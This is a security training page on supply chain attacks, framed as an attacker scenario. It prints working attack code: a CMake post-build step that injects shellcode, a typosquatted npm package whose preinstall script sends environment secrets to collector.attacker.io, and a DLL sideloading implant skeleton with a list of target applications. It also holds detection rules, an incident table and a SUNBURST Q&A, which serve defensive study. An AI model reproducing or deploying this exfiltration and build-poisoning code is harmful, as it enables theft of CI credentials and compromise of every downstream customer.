Supply Chain Attacks
Supply chain attacks compromise software before it reaches the victim — at the build pipeline, the package registry, or the vendor update mechanism. The core property that makes them powerful: the malicious payload arrives from a trusted source with a valid signature. Detection cannot rely on reputation alone; it requires behavioral monitoring of code that executes with implicit trust.
You need to compromise 50+ enterprise customers of a software vendor without breaking into any of them individually. The vendor uses a GitHub Actions CI/CD pipeline to build and sign their product installer. Compromise the CI environment (or inject malicious code upstream at a dependency), and the signed installer delivers your implant to every customer who applies the next update — with no initial access work on individual targets.
Supply Chain Attack Taxonomy
Build System Poisoning
// Technique: modify the build script to inject shellcode into compiled output.
// Target: Makefile, CMakeLists.txt, build.gradle, package.json scripts, etc.
// The injected code runs during the build, not during the attack setup.
// Example: post-build step that patches a compiled PE to add an implant.
// Malicious CMake custom command injected into legitimate build:
add_custom_command(
TARGET ${PROJECT_NAME} POST_BUILD
COMMAND powershell.exe -NoProfile -ExecutionPolicy Bypass -Command
"$b=[System.IO.File]::ReadAllBytes('$(TARGET_FILE)'); \
$s=[Convert]::FromBase64String('SHELLCODE_B64_HERE'); \
# Append shellcode to overlay section of PE \
[System.IO.File]::WriteAllBytes('$(TARGET_FILE)', $b + $s)"
COMMENT "Post-build optimization"
)
// More realistic: modify build script to download a 'legitimate-looking' utility
// that patches binaries during packaging:
// package.json "postbuild" hook:
{
"scripts": {
"build": "webpack --config webpack.prod.js",
"postbuild": "node scripts/optimize-bundle.js"
}
}
// optimize-bundle.js fetches a remote "optimizer" and runs it on the output —
// the actual payload executes in the CI runner with full access to the repo,
// secrets, and artifact signing keys.
npm Typosquatting and Dependency Confusion
// Typosquatting: register a package name similar to a popular one.
// Confusion: register a PUBLIC package with the same name as an internal package.
// When npm resolves packages, public registry takes precedence over private
// if the version number is higher — regardless of where the package is hosted.
// CVE reference: Alex Birsan's 2021 research — "Dependency Confusion" attack.
// Malicious package.json (minimal) for npm typosquatting:
{
"name": "lodahs", // typo of "lodash"
"version": "1.0.0",
"description": "Utility library",
"main": "index.js",
"scripts": {
"preinstall": "node preinstall.js"
}
}
// preinstall.js — runs automatically on npm install:
const os = require('os');
const { execSync } = require('child_process');
const http = require('https');
// Collect environment and exfil
const data = JSON.stringify({
host: os.hostname(),
user: os.userInfo().username,
cwd: process.cwd(),
env: process.env, // contains CI secrets: AWS_ACCESS_KEY, GITHUB_TOKEN, etc.
platform: os.platform()
});
// Send to attacker's server
const req = http.request({
host: 'collector.attacker.io', path: '/c', method: 'POST',
headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(data)}
});
req.write(data); req.end();
// Dependency confusion: if internal package "corp-utils@1.2.0" exists in private registry,
// publish "corp-utils@9.9.9" to public npm — npm will pull the higher version.
// Defense: use scope (@corp/corp-utils), pin exact versions, use lockfiles.
DLL Sideloading
// DLL sideloading: place a malicious DLL in a directory that a legitimate
// signed executable searches before system paths.
// Windows DLL search order: application dir → System32 → System → Windows → PATH.
// Technique: find a signed EXE that loads a DLL by relative name (no full path),
// drop your malicious DLL with that name next to the EXE.
// Example: Microsoft Teams (older versions) loaded dbghelp.dll from its app dir.
// Drop malicious dbghelp.dll next to Teams.exe → executed under Teams' identity.
// Malicious DLL (proxy DLL structure — forwards all exports to real DLL):
// Build: cl /LD sideload.c /Fe:dbghelp.dll
#include <windows.h>
BOOL WINAPI DllMain(HMODULE hMod, DWORD reason, LPVOID _) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hMod);
// Spawn implant in new thread — don't block DllMain
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RunImplant,
NULL, 0, NULL);
}
return TRUE;
}
// To forward legitimate exports (proxy DLL), add linker pragmas:
// #pragma comment(linker, "/export:MiniDumpWriteDump=C:\\Windows\\System32\\dbghelp.MiniDumpWriteDump,@13")
// This prevents the host app from crashing when it tries to use the DLL's real exports.
// Common sideload targets (pre-patch):
// - OneDrive.exe loads vcruntime140.dll from AppData\Local\Microsoft\OneDrive\
// - Notepad++ loads mimeTools.dll from install directory
// - 7-Zip loads 7-zip.dll from current directory
// - VMware tools load various DLLs relative to install path
Real-World Supply Chain Examples
| Attack | Year | Insertion point | Detection indicator |
|---|---|---|---|
| SolarWinds SUNBURST | 2020 | Orion build server; injected into SolarWinds.Orion.Core.BusinessLayer.dll | DGA beacon pattern; TEMP.Variants.SUNBURST Yara rule; delayed activation logic |
| 3CX Desktop App | 2023 | Build pipeline; ffmpeg.dll replaced in electron app bundle | Signed PE with anomalous import table; unexpected child process from 3CXDesktopApp.exe |
| ASUS ShadowHammer | 2018 | ASUS update server; malicious update signed with legitimate cert | MAC address allowlist in payload; small set of targeted machines |
| ua-parser-js | 2021 | npm package compromise via stolen maintainer credentials | postinstall script curl/wget/powershell; XMRig miner binary |
| PyPI malicious packages | ongoing | Typosquatting (colourama vs colorama) | setup.py with obfuscated subprocess calls; requests to unknown IPs at install |
| XZ Utils backdoor | 2024 | Malicious maintainer; build script injected IFUNC hook into sshd auth path | Anomalous IFUNC resolver; unexpected symbol in liblzma; build script entropy |
Detection Engineering
title: DLL Sideloading — DLL Loaded from Writable User Directory
logsource:
product: windows
category: image_load
detection:
selection:
EventID: 7
ImageLoaded|contains:
- '\AppData\Local\'
- '\AppData\Roaming\'
- '\Users\Public\'
not_signed:
Signed: 'false'
condition: selection AND not_signed
level: high
tags: [attack.defense_evasion, T1574.002]
title: npm/pip/gem Package Install Running System Commands
logsource:
product: windows
category: process_creation
detection:
parent_npm:
ParentImage|endswith:
- '\node.exe'
- '\python.exe'
- '\pip.exe'
child_suspicious:
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\curl.exe'
- '\certutil.exe'
condition: parent_npm AND child_suspicious
level: high
tags: [attack.initial_access, T1195.001]
-- MDE KQL: signed binary with anomalous child process (sideloaded DLL)
DeviceProcessEvents
| where InitiatingProcessSignerType == "Microsoft"
or InitiatingProcessSignatureStatus == "Valid"
| where FileName in~ ("powershell.exe", "cmd.exe", "mshta.exe",
"wscript.exe", "cscript.exe")
| where InitiatingProcessFolderPath has_any ("\\AppData\\", "\\Temp\\")
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessFolderPath, FileName, ProcessCommandLine
Q&A
SolarWinds SUNBURST used a delayed activation trigger — it waited 12-14 days after install before beaconing. Why did this technique defeat most detection systems at the time, and what detection controls would catch it today?
SUNBURST's delayed activation was effective for several compounding reasons. First, most EDR and SIEM alerting systems are built around correlation windows — they look for suspicious activity within minutes to hours. A 12-14 day delay ensured the malicious DLL was installed, the machine rebooted multiple times, and the software appeared stable. No anomalous behavior was associated with the initial DLL installation event. Second, during the delay period, SUNBURST ran legitimately as part of the Orion polling service, making no suspicious API calls. It also checked whether it was running in a sandbox by looking for active domain-joined state, waiting for genuine Active Directory environment indicators — behaviors that differ from test environments. Third, the DGA-generated C2 domains were queried via DNS (not direct TCP connections), and the subdomains followed a pattern that looked plausible without a purpose-built signature to detect that specific DGA family.
What would catch SUNBURST today: (1) Code integrity — hash-pinning of vendor DLLs at deployment and alerting on any deviation, independent of signing. SUNBURST was signed with SolarWinds' legitimate certificate, but the hash of the trojanized DLL differed from any prior release. If organizations had captured the baseline hash of each Orion release at first install and compared against it on update, the swap would have been immediately visible. (2) EDR process behavior baselines — modern EDR products maintain long-term behavioral baselines per process type. The Orion polling service making outbound DNS queries to previously-never-seen domains 14 days after install and then gradually increasing network activity would stand out against its own historical baseline. (3) DNS analytics with ML-based DGA detection — the SUNBURST DGA produced subdomains with specific statistical properties that DGA detection models trained on that era's threats can now identify. (4) Zero-trust network controls at the host level — if the Orion service was not expected to initiate outbound HTTPS connections to external IPs (its normal behavior was internal polling), a host-based firewall rule blocking that would have prevented the C2 callback entirely, regardless of how long the malware waited.